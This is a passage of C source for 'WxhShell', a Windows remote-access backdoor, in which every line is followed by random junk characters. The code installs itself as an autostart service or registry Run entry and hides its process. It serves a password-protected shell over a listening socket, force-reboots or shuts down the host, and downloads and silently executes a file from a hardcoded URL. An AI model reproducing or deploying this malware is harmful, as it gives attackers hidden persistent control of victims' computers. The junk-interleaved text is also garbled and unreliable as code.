    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1G7b%yPA  
    if(Boot(SHUTDOWN)) 9e U[*S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f(D_FTTO  
    else { a{[+<8=@1  
    closesocket(wsh); :y2p@#l#  
    ExitThread(0); `O^G5 0  
    } XCsiEKZ_i  
    break; Og%U  
    } Sb".]>^  
  // 获取shell U6[ang'l  
  case 's': { K1?Gmue#I  
    CmdShell(wsh); g`k?AM\  
    closesocket(wsh); t!1$$e?`r  
    ExitThread(0); ]v G{kAnH  
    break;  qW_u  
  } W YW|P2*  
  // 退出 1\L[i];L8  
  case 'x': { JIO$=+p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7:NmCpgL!  
    CloseIt(wsh); jy2IZ o  
    break; %OcGdbs  
    } ExHAY|UA  
  // 离开 wyxGe<1  
  case 'q': { d h^^G^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2WvN2" f3  
    closesocket(wsh); 4y}"Hy  
    WSACleanup(); p3^jGj@  
    exit(1); $\a5&1rl  
    break; ^4v*W;Q  
        } Q}A=jew  
  } IO.<q,pP!_  
  } -m 5}#P89  
pL1s@KR  
  // 提示信息 eyw'7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^a9 oKI9n  
} ]"fsW 9s  
  } S(eQ{rSs  
s]B"qF A  
  return; u3tZ[Y2 c  
} E^ h=!RW{  
K7vw3UwGN  
// shell模块句柄 MN;/*t  
int CmdShell(SOCKET sock) zjX7C~h^Q  
{ N1--~e  
STARTUPINFO si; 0_<Nc/(P  
ZeroMemory(&si,sizeof(si)); r;cV&T/?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NSLVD[yT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bNzqls$  
PROCESS_INFORMATION ProcessInfo; \Xg?Ug*9w  
char cmdline[]="cmd"; &w~Xa( uu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OjnJV  
  return 0; fJ80tt?r  
} <ZPZk'53<f  
8LM #WIm?  
// 自身启动模式 u"VS* hSH  
int StartFromService(void) q7]>i!A  
{ ?KN:r E  
typedef struct ^3I'y UsY  
{ ML!9:vz  
  DWORD ExitStatus; I ,FqN}  
  DWORD PebBaseAddress; wgd<3 X  
  DWORD AffinityMask; p%RUHN3G[  
  DWORD BasePriority; Xza4iV  
  ULONG UniqueProcessId; 8cr NOZS6  
  ULONG InheritedFromUniqueProcessId; Z^6#4Q]YC  
}   PROCESS_BASIC_INFORMATION; Gi$gtLtN h  
EnCU4CU`  
PROCNTQSIP NtQueryInformationProcess; LdTIR]  
@&R1wr1>I5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C!UEXj`l9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C-#.RI7  
;h+q  
  HANDLE             hProcess; W8/(;K`/  
  PROCESS_BASIC_INFORMATION pbi; m6so]xr  
T^)plWw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,t~sV@ap  
  if(NULL == hInst ) return 0; G1_Nd2w  
0$Ff#8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @\!!t{y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [@.B4p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AVpuMNd@  
6&],WGz  
  if (!NtQueryInformationProcess) return 0; |3@=CE7G  
b>=7B6 Aw  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &:auB:b  
  if(!hProcess) return 0; \!PV*%P  
1o#vhk/ "+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p":@>v?  
6UB6;-  
  CloseHandle(hProcess);  ^@q#$/z  
N9*UMVU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !fZLQc  
if(hProcess==NULL) return 0; w a.f![  
OX)BP.h#  
HMODULE hMod; *R!]47Y d  
char procName[255]; W"O-L  
unsigned long cbNeeded; _S<?t9mS  
i@{*O@m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &<{}8/x8(  
ylim/`u}6  
  CloseHandle(hProcess); J" wKRy  
nk>8SW^  
if(strstr(procName,"services")) return 1; // 以服务启动 4(sttd_  
KT%{G8Y@M  
  return 0; // 注册表启动 .r*#OUC  
} HYFN?~G  
tzmETRwG  
// 主模块  I9Om#m  
int StartWxhshell(LPSTR lpCmdLine) -PXoMZx%  
{ 5"e+& zU~f  
  SOCKET wsl; }_vM&.GFlL  
BOOL val=TRUE; BUV/twU)  
  int port=0; U~hCn+0  
  struct sockaddr_in door; 7>KQRLw  
,-!2 5G  
  if(wscfg.ws_autoins) Install(); 6,3}/hgWJ$  
fYs?D+U;PF  
port=atoi(lpCmdLine); 8}9Ob~on  
c-|kv[\a  
if(port<=0) port=wscfg.ws_port; Bjtj{B  
y78z>(jV  
  WSADATA data; wU.'_SBfB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; BZ}`4W'  
=_uol8v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^}tL nF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r /^'Xj'(  
  door.sin_family = AF_INET; mUiOD$rO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q< b"M$  
  door.sin_port = htons(port); 4u7Cm  
/jvO XS\M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #Af)n(  
closesocket(wsl); 2S'AIuIew  
return 1; {GAsFnZk  
} Z%KL[R}^w;  
\N6<BS  
  if(listen(wsl,2) == INVALID_SOCKET) { F@Pem  
closesocket(wsl); a4:`2  
return 1; f8R+7Ykx  
} CJ0$;et  
  Wxhshell(wsl); FF8WTuzB+  
  WSACleanup(); }Z^FEd"y  
QZ#3Bn%B5  
return 0; 8u/3?Kc  
%bEGv:88s  
} gYRqqV  
8TUF w@H%  
// 以NT服务方式启动 bJANZn|H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >\Z lZ  
{ +}&pVe\t  
DWORD   status = 0; PpW A f\  
  DWORD   specificError = 0xfffffff; ZDW,7b% U  
~}epq6L>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ="/R5fp  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1hF2eNh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '\Qf,%%.  
  serviceStatus.dwWin32ExitCode     = 0; 6-D%)Z(  
  serviceStatus.dwServiceSpecificExitCode = 0; :8GlyN<E  
  serviceStatus.dwCheckPoint       = 0; ": mCZUt  
  serviceStatus.dwWaitHint       = 0; TXA. 6e  
?aP1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0 =3FO}[u  
  if (hServiceStatusHandle==0) return; rOs)B21/  
mMel,iK=  
status = GetLastError(); jI@bTS o  
  if (status!=NO_ERROR) Uh<H*o6e 9  
{ mABwM$_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |:!E HFr  
    serviceStatus.dwCheckPoint       = 0; s?4%<jz  
    serviceStatus.dwWaitHint       = 0; *?EjYI  
    serviceStatus.dwWin32ExitCode     = status; ~ nLkn#Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; m0dFA<5-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }dV9%0s!  
    return; ^(E"3 c  
  } ,Y78Q  
jM|YW*zNZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; FCS5@l,'<  
  serviceStatus.dwCheckPoint       = 0; dVY(V&p  
  serviceStatus.dwWaitHint       = 0; EZgxSQaPH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j TB<E=WC  
} F[Guy7?O  
~ wJ3AqNC?  
// 处理NT服务事件,比如:启动、停止 9-X{x95]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6KBzlj0T+  
{ N|j;=y!  
switch(fdwControl) h^.tom g8  
{ y \mutm  
case SERVICE_CONTROL_STOP: B.CH9M  
  serviceStatus.dwWin32ExitCode = 0; J?|K#<%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lEVQA*u[  
  serviceStatus.dwCheckPoint   = 0; U{U:8==  
  serviceStatus.dwWaitHint     = 0; b7>,-O  
  { gKm@B{rC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KV) Hywl`  
  } ? bUpK  
  return; _k"&EW{ Ii  
case SERVICE_CONTROL_PAUSE: R9|2&pfm(M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mo?t[]L   
  break; E9Qd>o  
case SERVICE_CONTROL_CONTINUE: jx5[bUp4u  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :!Y?j{sGU  
  break; O[5_ 9W 4  
case SERVICE_CONTROL_INTERROGATE: y . ivz  
  break; a@V/sh  
}; ~T p8>bmSR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #sm_.?P  
} -KU)7V  
>TY5ZRB  
// 标准应用程序主函数 I[cV"BDa  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XYxm8ee"j  
{ Vm,f3~  
zvK5Zxl  
// 获取操作系统版本 W2W2WyPk  
OsIsNt=GetOsVer(); 7S~9E2N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H2FFw-xW  
>`rNT|rg  
  // 从命令行安装 kUaGok?  
  if(strpbrk(lpCmdLine,"iI")) Install(); mrLx]og,  
PhI6dB`  
  // 下载执行文件 5w [=  
if(wscfg.ws_downexe) { s2kZZP8-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) afP&+ 5t@O  
  WinExec(wscfg.ws_filenam,SW_HIDE); $b i_i|?  
} &8_#hne_  
8HRPJSO~g  
if(!OsIsNt) { jcv1z v.  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sfoy8<j  
HideProc(); U)I `:J+A  
StartWxhshell(lpCmdLine); ap$ tu3j  
} f;tyoN0wHx  
else gHh.|PysW  
  if(StartFromService()) |C)UZ4A/p  
  // 以服务方式启动 kj3o1Y  
  StartServiceCtrlDispatcher(DispatchTable); y!6:  
else .dKRIFo  
  // 普通方式启动 ?"8A^ ^  
  StartWxhshell(lpCmdLine); %d[xr h  
R;TEtu7  
return 0; [ls ?IFg  
} >pH775I=  
]-5jgz"  
^3)2]>pW  
, w'$T)  
=========================================== lKhh=Pc2  
M+R)P +  
7+!7]'V  
4bFVyv  
`i)ePiE  
eeJt4DV8v  
" 1DlcO>#@  
cD`O+WA2K  
#include <stdio.h> O"^a.`27  
#include <string.h> 'GzhZ`E6  
#include <windows.h> hYUV9k:  
#include <winsock2.h> s^?sJUj  
#include <winsvc.h> ;{q) |GRF  
#include <urlmon.h> n `T[eb~  
5<?c_l9X^  
#pragma comment (lib, "Ws2_32.lib") i`nw"8  
#pragma comment (lib, "urlmon.lib") Y7V&zF{  
Nx (pJp{S  
#define MAX_USER   100 // 最大客户端连接数 j% USu+&  
#define BUF_SOCK   200 // sock buffer &|\}\+0Z  
#define KEY_BUFF   255 // 输入 buffer IZv, Wo  
S1= JdN  
#define REBOOT     0   // 重启 9PGR#!!F$  
#define SHUTDOWN   1   // 关机 PW//8lsR  
V1#aDfiW  
#define DEF_PORT   5000 // 监听端口 f<sPh>n  
L8tLW09  
#define REG_LEN     16   // 注册表键长度 /^eemx  
#define SVC_LEN     80   // NT服务名长度 34^Cfh  
1LIV/l^}f  
// 从dll定义API S=amjcC  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9w<Bm"G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :aqskeT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~rX6owBq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yIf}b  
5_C#_=E  
// wxhshell配置信息 )9jQ_  
struct WSCFG { 49fq6ZhO  
  int ws_port;         // 监听端口 'I>#0VRr  
  char ws_passstr[REG_LEN]; // 口令 >@Vr'kg+V  
  int ws_autoins;       // 安装标记, 1=yes 0=no <a[8;YQC  
  char ws_regname[REG_LEN]; // 注册表键名 []3}(8yxGb  
  char ws_svcname[REG_LEN]; // 服务名 UBHQzc+,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &p4<@k\L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fToI,FA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U*:'/.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X@q1;J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p}7&x[fTLk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E(LE*J  
AHD%6 \$  
}; kD7(}N8YR  
TPFmSDq  
// default Wxhshell configuration }z-  
struct WSCFG wscfg={DEF_PORT, * .VZ(wX  
    "xuhuanlingzhe", emPm^M5/K  
    1, <1.mm_pw  
    "Wxhshell", X hX'*{3k  
    "Wxhshell", 2B dr#qr  
            "WxhShell Service", )_K@?rWS  
    "Wrsky Windows CmdShell Service", Z?' |9FM  
    "Please Input Your Password: ",  PuCA @qY  
  1, Z`c{LYP,y"  
  "http://www.wrsky.com/wxhshell.exe", <XrGr5=BV  
  "Wxhshell.exe" S5a<L_  
    }; 7zZ|=W?&{  
dKpa5f7  
// 消息定义模块 ,x.)L=Cx8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A_|FsQ6$P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lFY8^#@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; A'(F%0NF6  
char *msg_ws_ext="\n\rExit."; iRHQRdij  
char *msg_ws_end="\n\rQuit."; R_n-&d 'PP  
char *msg_ws_boot="\n\rReboot..."; [V0h9!  
char *msg_ws_poff="\n\rShutdown..."; %pQ o%<d  
char *msg_ws_down="\n\rSave to "; &ru0i@?)  
Rj`Y X0?+  
char *msg_ws_err="\n\rErr!"; S`w)b'B!M  
char *msg_ws_ok="\n\rOK!"; !PIdw~YC  
<j3HT"^[D  
char ExeFile[MAX_PATH]; +qf{ '|H  
int nUser = 0; hO@3-SRa,k  
HANDLE handles[MAX_USER]; yv4PK*  
int OsIsNt; KZfRiCZ  
0*x?  
SERVICE_STATUS       serviceStatus; 7b2<, .E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `_^=OOn  
VW`=9T5%@  
// 函数声明 *G41%uz  
int Install(void); ,`@|C Z-4A  
int Uninstall(void); mP[u[|]  
int DownloadFile(char *sURL, SOCKET wsh); 26K~m@  
int Boot(int flag); :q1r2&ne  
void HideProc(void); $7d"9s\$"  
int GetOsVer(void); $u"$mg7x  
int Wxhshell(SOCKET wsl); ??V["o T  
void TalkWithClient(void *cs); q Db}b d5  
int CmdShell(SOCKET sock); c%.& F  
int StartFromService(void); nB0 ol-<  
int StartWxhshell(LPSTR lpCmdLine); Ntiz-qW  
I0RWdOK8K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *$D-6}Oay  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ngnjr7Q={T  
nB& 8=.  
// 数据结构和表定义 5wX>PJS  
SERVICE_TABLE_ENTRY DispatchTable[] = `,d7_#9'  
{ ayp}TYh*  
{wscfg.ws_svcname, NTServiceMain}, cyNLeg+O*  
{NULL, NULL} musxX58%  
}; Zh^w)}(W  
 64fG,b  
// 自我安装 Kjw\SQ)2~  
int Install(void) #KW:OFT  
{  ?~IZ{!  
  char svExeFile[MAX_PATH]; '7s!N F2  
  HKEY key; 54w-yY  
  strcpy(svExeFile,ExeFile); a"0~_=  
Z- (HDn  
// 如果是win9x系统,修改注册表设为自启动 P\e%8&_U/  
if(!OsIsNt) { >`'9V| 1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I#U44+c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j83 V$ Le  
  RegCloseKey(key); _@2G]JD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e IA=?k.y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J]B5w{??b  
  RegCloseKey(key); N<99K!   
  return 0; Z]BR Mx  
    } gBu4`M  
  } lV'83  
} =w-H )  
else { EA.U>5Fq  
&=bI3-  
// 如果是NT以上系统,安装为系统服务 2-84  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mX^RSg9E}  
if (schSCManager!=0) zn|}YovY+  
{ 5Y^ YKV{  
  SC_HANDLE schService = CreateService )3sb 2 #  
  ( mN02T@R-  
  schSCManager, za7wNe(s  
  wscfg.ws_svcname, _wCSL.  
  wscfg.ws_svcdisp, e$=|-J z  
  SERVICE_ALL_ACCESS, J?'!8,RX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X)m2{@v D  
  SERVICE_AUTO_START, {'!~j!1'j  
  SERVICE_ERROR_NORMAL, h# 8b#  
  svExeFile, ty>O}9%  
  NULL, YP l{5 =  
  NULL, x{$NstGB  
  NULL, if>] )g2lr  
  NULL, RMK U5A7  
  NULL uE(w$2Wi  
  ); 1CbC|q  
  if (schService!=0) ~_%[j8o&l  
  { pG&.Ye]j  
  CloseServiceHandle(schService); M .,|cx  
  CloseServiceHandle(schSCManager); 2uIAnbW]M  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); FhGbQJ?[3  
  strcat(svExeFile,wscfg.ws_svcname); Q*: Ow]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *F0N'*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iQF93:#  
  RegCloseKey(key); 9[M u   
  return 0; Gj=il-Po  
    } kWFR(J&R  
  } .+yJ'*i$d  
  CloseServiceHandle(schSCManager); h*LIS@&9C5  
} P; Ox|  
} 'mF}+v^   
t&_lpffv  
return 1; Jp- hFD  
} {`VQL6(i  
&!ZpBR(  
// 自我卸载 _EP}el  
int Uninstall(void) \XC1/LZQ  
{ i&Ea@b  
  HKEY key; r_G`#Z_5F  
n" sGI  
if(!OsIsNt) { ":OXs9Yg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M5]w U   
  RegDeleteValue(key,wscfg.ws_regname); rlD@O~P4  
  RegCloseKey(key); 8MIHp[vm%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Liofv4![  
  RegDeleteValue(key,wscfg.ws_regname); #]rw@c  
  RegCloseKey(key); d=[ .   
  return 0; &PbH!]yd  
  } AWw'pgTQX  
} "'%x|nB  
} 7 UR)4dYA  
else { Ks4TBi&J   
)j](_kvK  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); pxgv(:Tw  
if (schSCManager!=0) <iMLM<J<w  
{ F)C8LH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >Q YxX<W  
  if (schService!=0) xe d$z  
  { Y#\e~>K  
  if(DeleteService(schService)!=0) { "QMHY\C  
  CloseServiceHandle(schService); gbvBgOp  
  CloseServiceHandle(schSCManager); 5QlJX  
  return 0; `|gCbs95  
  } &kP>qTI^p~  
  CloseServiceHandle(schService); d%WFgf}  
  } Gb"PMai  
  CloseServiceHandle(schSCManager); ~! @a  
} fSj^/>  
} Ba"Z^(:  
s;>jy/o0 s  
return 1; -50|r;a  
} wDn5|F}i&  
{L#Pdj{  
// 从指定url下载文件 >scEdeM  
int DownloadFile(char *sURL, SOCKET wsh) ss*dM.b  
{ YS/4<QA[  
  HRESULT hr; $N~8 ^6  
char seps[]= "/"; !y6 D+<k*]  
char *token; 5WEF^1  
char *file; |',Gy\Sj  
char myURL[MAX_PATH]; h 9No'!'!  
char myFILE[MAX_PATH]; "/K44(^  
5K,Y6I&$SJ  
strcpy(myURL,sURL); 'En6h"{  
  token=strtok(myURL,seps); zI&oZH^vn  
  while(token!=NULL) )8yNqnD  
  { (R{W Jjj  
    file=token; 8!1vsEqv  
  token=strtok(NULL,seps); <~'\~Zd+  
  }  a(F%M  
$cnIsyKWY  
GetCurrentDirectory(MAX_PATH,myFILE); ?,]25q   
strcat(myFILE, "\\"); :hZYh.y\l  
strcat(myFILE, file); 5MT$n4zKu  
  send(wsh,myFILE,strlen(myFILE),0); 8@Pv nOL  
send(wsh,"...",3,0); p"w"/[8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7&E3d P  
  if(hr==S_OK) sT|8a  
return 0; \It8+^d@  
else >IsRd  
return 1; 6Z0@4_Y@B6  
XB zcbS+  
} iCnKQG  
qy"#XbBeV  
// 系统电源模块 M#UW#+*g!  
int Boot(int flag) a?_N8|k[  
{ 6Gwk*%sb  
  HANDLE hToken; V0XQG}  
  TOKEN_PRIVILEGES tkp; oIN!3  
CtfI&rb[  
  if(OsIsNt) { ihdN{Mx<2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pO[ @2tF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q{ i9VJ]  
    tkp.PrivilegeCount = 1; 'gI q_t|^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "k[-eFz/@M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); akoK4!z  
if(flag==REBOOT) {  \9N1:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) v'mRch)d  
  return 0; 9KkxUEkW  
} nkUSd}a`r  
else { @@M 2s(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @m[q0G}  
  return 0; Gm~jC <  
} }rRf4te  
  } WBvh<wTw;  
  else {  rl"$6{Z}  
if(flag==REBOOT) { 'B>fRN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %5Q5xw]w3  
  return 0; [uqe|< :  
} }coSMTMv6  
else { GG<{n$h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z]OXitt7  
  return 0; Ws$<B b  
} Y>W$n9d&G2  
} uyZ  
n@>h"(@i  
return 1; iYJ:P  
} $De14  
`< _A#@  
// win9x进程隐藏模块 vM G>Xb  
void HideProc(void) q=Xda0c  
{ ~0/tU#&  
[Ume^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mXAGa8##j  
  if ( hKernel != NULL ) i;Y3pF0%P  
  { Zfwhg4G~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T .#cd1b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [ =/Yo1:v  
    FreeLibrary(hKernel); _%M+!Ltz  
  } wwmHr!b:6  
*S _[8L"  
return; DPV>2' fV  
} 'DLgOUvh  
e *9c33  
// 获取操作系统版本 <;eXbO>Q  
int GetOsVer(void) cl\Gh  
{ uO]^vP]fT  
  OSVERSIONINFO winfo; 8&K1;l }  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^v2-"mX<  
  GetVersionEx(&winfo); MZPXI{G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d;:H#F+ (  
  return 1; XHN*'@ 77;  
  else [B0]%!hFw  
  return 0; #k}x} rn<'  
} y"bSn5B[  
;pH&YBY  
// 客户端句柄模块 S2APqRg*  
int Wxhshell(SOCKET wsl) 5Yxs_t4  
{ fC4#b?Q  
  SOCKET wsh; 5>S=f{ghFw  
  struct sockaddr_in client; --D&a;CO}  
  DWORD myID; f52*s#4}  
9>QGsf.3  
  while(nUser<MAX_USER) EdC^L`::  
{ 0aWy!d  
  int nSize=sizeof(client); j:Y1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jWUpzf)q=T  
  if(wsh==INVALID_SOCKET) return 1; ^Fop/\E  
 UZ*Yt  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <i1.W !%  
if(handles[nUser]==0) 'B"A*!" b  
  closesocket(wsh); xPcH]Gs^b  
else kO)+%'L!8  
  nUser++; f+c<|"we  
  } SWq5=h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dv7IHUFf  
H?H(=  
  return 0; ;$FpxurX  
}  ?|$IZ9  
USDqh437  
// 关闭 socket bMCy=5  
void CloseIt(SOCKET wsh) ^Gt9.  
{ n !oxwA!  
closesocket(wsh); Cg]Iz< <bE  
nUser--; rn8#nQ>QZ%  
ExitThread(0); sI,S(VWor  
} ;,&$ob*/  
HLruZyN4  
// 客户端请求句柄 J]"IT*-Ht  
void TalkWithClient(void *cs) .29y3}[PO  
{ +\D?H.P  
"Vw;y+F}  
  SOCKET wsh=(SOCKET)cs; WU:r:m+ >  
  char pwd[SVC_LEN]; VNggDKS~K  
  char cmd[KEY_BUFF]; :enmMB#%  
char chr[1]; ? CabVj-r  
int i,j; OZCbMeB{+J  
IPTEOA<M[  
  while (nUser < MAX_USER) { q\I2lZ  
9FKowF_8  
if(wscfg.ws_passstr) { PKK18E}{%^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %=G*{mK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 15)y]N={^  
  //ZeroMemory(pwd,KEY_BUFF); I5$]{:L|9  
      i=0; Ojwhcb^  
  while(i<SVC_LEN) { iH;IXv,b3  
^?Y x{r~9  
  // 设置超时 FVo_=O)  
  fd_set FdRead; h,Nq:"}  
  struct timeval TimeOut; M#'j7EMu  
  FD_ZERO(&FdRead); 2sXNVo8`w"  
  FD_SET(wsh,&FdRead); ),%(A~\  
  TimeOut.tv_sec=8; pf%B  
  TimeOut.tv_usec=0; R>CIEL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \[CPI`yQe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2 g`<*u*  
~ MZEAY9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a}#8n^2  
  pwd=chr[0]; fa:V8xa  
  if(chr[0]==0xd || chr[0]==0xa) { x<lY&KQ0  
  pwd=0; 1{0 L~  
  break; Oh]RIWL  
  } $T-Pl57  
  i++; 4IUdlb  
    } Yfa`}hQ  
s/cclFji]  
  // 如果是非法用户,关闭 socket [.[|rnil  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,!i!q[YkL9  
} piPx8jT`F  
hP$v,"$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {%! >0@7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  |tVWmm^m  
]@G$ L,3  
while(1) { EH2a  
TTQ(\l4  
  ZeroMemory(cmd,KEY_BUFF); QH]G>+LI5  
>v9@p7Dn  
      // 自动支持客户端 telnet标准   : l&g5  
  j=0; = 3("gScUj  
  while(j<KEY_BUFF) { fx#Krr @  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ao}J   
  cmd[j]=chr[0]; ;"T,3JQPn6  
  if(chr[0]==0xa || chr[0]==0xd) { <JkmJ/X  
  cmd[j]=0; 8V f]K}d  
  break; +[C><uP  
  } tg|7\Z7i  
  j++; S)L(~ N1  
    } FsTl@zN  
J~=tR1 k  
  // 下载文件 XxeyGs^%9  
  if(strstr(cmd,"http://")) { Duh[(r_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _ giZ'&l!  
  if(DownloadFile(cmd,wsh)) WJJwhr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L2P#5B!S  
  else *s[bq;$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3^x C=++  
  } jDKL}x  
  else { iM'rl0  
z($h7TZ$  
